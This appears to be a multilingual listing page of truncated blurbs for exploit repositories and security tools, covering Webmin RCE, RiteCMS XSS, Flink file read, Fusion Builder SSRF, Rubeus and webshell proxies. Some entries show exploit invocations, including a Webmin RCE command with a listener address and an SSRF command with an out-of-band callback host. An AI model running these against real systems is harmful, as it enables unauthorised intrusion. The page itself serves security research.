CVE-2023-44767_RiteCMS-File-Upload--XSS---Filemanager

RiteCMS 3.0 رفع الملفات - XSS المؤلف: Sergio الوصف: الثغرة الأمنية في رفع الملفات في RiteCMS 3.0 تسمح لمهاجم محلي برفع ملف svg يحتوي على محتوى XSS. متجهات الهجوم: AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L POC: نقوم بإنشاء ملف svg بالمحتوى التالي: root@kitploit: عند تسجيل الدخول إلى اللوحة، سنذهب إلى قس...

CVE-2019-15107

CVE-2019-15107 ثغرة RCE في webmin أو minisever استخدام السكربت: تم اختباره على الإصدار v1.890، لكنه يجب أن يعمل أيضًا مع إصدارات webmin الأخرى التي يكون هذا الباب الخلفي مثبتًا فيها. root@kitploit: python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...

recon

O.G. AUTO-RECON विशेषताएँ O.G. Auto-Recon का उद्देश्य प्रारंभिक सूचना संग्रह चरण को स्वचालित करना और फिर उन परिणामों के आधार पर जितना संभव हो सके एन्युमरेट करना है। यह उपकरण CTF के लिए बनाया गया है और काफी शोरगुल वाला हो सकता है। यह सबसे गुप्त उपकरण नहीं है... कमांड सिंटैक्स को Config सेटिंग्स मे...

jvmxray

JVMXRay: مراقبة أمان تطبيقات Java تاريخ Duke التوثيق | التغييرات من المنبع | مدونة المشروع يراقب JVMXRay تطبيقات Java في الوقت الفعلي عبر حقن البايت كود، ويكشف الثغرات والأنشطة المشبوهة دون تغيير الكود. 19 مستشعرًا معياريًا يتتبعون الوصول إلى الملفات، اتصالات الشبكة، استعلامات SQL، العمليات...

CVE-2020-17519

CVE-2020-17519 Apache Flink RESTful API Arbitrary File Read Apache Flink is a framework and distributed processing engine for stateful computations over unbounded and bounded data streams which developed using Java and Scala. A change introduced in Apache Flink 1.11.0 and released in 1.11.1 and...

VulnFanatic-NG

VulnFanatic-NG LLM-assisted vulnerability research for Binary Ninja. VulnFanatic-NG adds a sidebar panel that scans the current binary and asks an LLM — a locally hosted OpenAI-compatible model by default, or Anthropic Claude, Google Gemini, or Azure OpenAI see LLM backends — to judge whether...

sslnuke

sslnuke -- SSL बिना सत्यापन के सुरक्षित नहीं है! हम सभी ने बार-बार सुना है कि SSL बिना सत्यापन के सुरक्षित नहीं है। यदि SSL कनेक्शन को कैश्ड सर्टिफिकेट से सत्यापित नहीं किया जाता है, तो इसे कोई भी हमलावर आसानी से हाईजैक कर सकता है। इसलिए 2013 में, कोई सोच सकता है कि हमने इस समस्या को पूरी तरह से...

sigwire

sigwire tail -f for signals. Every signal any process on the box raises — who sent it, who it hit, which signal, how it was raised kill2, the kernel, a POSIX timer, whether the target caught it and how long its handler ran, whether it tore a blocked syscall out with EINTR — decoded off the kernel...

domdig

DOMDig DOMDig is a DOM XSS scanner that runs inside the Chromium web browser and it can scan single page applications SPA recursively. Unlike other scanners, DOMDig can crawl any webapplication including gmail by keeping track of DOM modifications and XHR/fetch/websocket requests and it can...

domdig

DOMDig DOMDig एक DOM XSS स्कैनर है जो क्रोमियम वेब ब्राउज़र के अंदर चलता है और यह एकल पृष्ठ अनुप्रयोगों SPA को पुनरावर्ती रूप से स्कैन कर सकता है। अन्य स्कैनरों के विपरीत, DOMDig DOM संशोधनों और XHR/fetch/websocket अनुरोधों पर नज़र रखकर किसी भी वेब एप्लिकेशन gmail सहित को क्रॉल कर सकता है और यह...

CVE-2022-1386-FusionBuilder-SSRF

CVE-2022-1386 – Fusion Builder Example: root@kitploit: python3 exploitcve20221386.py https://vulnerable.site https://abc123.oast.fun Use Interact.sh or Burp Collaborator to receive the callback. 📋 Sample Output root@kitploit: Fetching nonce from target... Sending SSRF payload to...

leonidas

Leonidas This is the repository containing Leonidas, a framework for executing attacker actions in the cloud. It provides a YAML-based format for defining cloud attacker tactics, techniques and procedures TTPs and their associated detection properties. These definitions can then be compiled into:...

pystinger

pystinger English | 简体中文 Pystinger implementa proxy SOCK4 y mapeo de puertos a través de webshell. Puede ser usado directamente por metasploit-framework, viper, cobalt strike para la conexión de sesiones. Pystinger está desarrollado en python, y actualmente soporta tres scripts de proxy: php, jsp...

CVE-2022-26923

CVE-2022-26923 – Certifried Exploit AD CS Abuse Automation of the exploitation of CVE-2022-26923 Certifried allowing privilege escalation via abuse of Active Directory Certificate Services AD CS and Resource-Based Constrained Delegation RBCD, leading to the dump of the NTLM hash of a domain...

cve-2021-44228

CVE-2021-44228 This repository represents a simplified simulation of infamous CVE-2021-44228 issue. Aside from system properties and other dictionary structures lookups, Apache Log4j also implements JNDI lookup feature for various reasons. The JNDI can obtain services from a number of service...

DNSnitch

DNSnitch Disclaimer I use that for myself, it's here if someone needs it though. Feel free to open an issue if you find bugs! The Interactive Terminal DNS Firewall DNSnitch is a local, privacy-first DNS server that puts you in complete control of your network traffic. Unlike passive blocklists,...

XFLTReaT

XFLTReaT This is just one thing of many things that was missing from the Internet. If you got tired of trying several tunnelling tools for each protocols, this must be your tool ^W framework. If you are interested in the details, please read the Wiki. Available modules TCP UDP ICMP SOCKS v4, 4a, ...

leakish

Leakish Browser privacy-leak detector — eight detection modules, risk scoring, and per-account history, all in your browser. Built withVerdent — an agentic coding assistant. Every detection module, the analytics dashboard, the API-key auth flow, the bilingual UI and the Kubernetes-ready Docker...

Rubeus

Rubeus Rubeus is a C toolset for raw Kerberos interaction and abuses. It is heavily adapted from Benjamin Delpy's Kekeo project CC BY-NC-SA 4.0 license and Vincent LE TOUX's MakeMeEnterpriseAdmin project GPL v3.0 license. Full credit goes to Benjamin and Vincent for working out the hard component...

oproxy

oproxy oproxy is a local HTTP, HTTPS, and SOCKS5 proxy for inspecting, replaying, and modifying traffic. It is for developers testing browsers, CLIs, mobile apps, API clients, services, and test suites on their own machine or in a local Docker container. Features Capture HTTP traffic and HTTPS...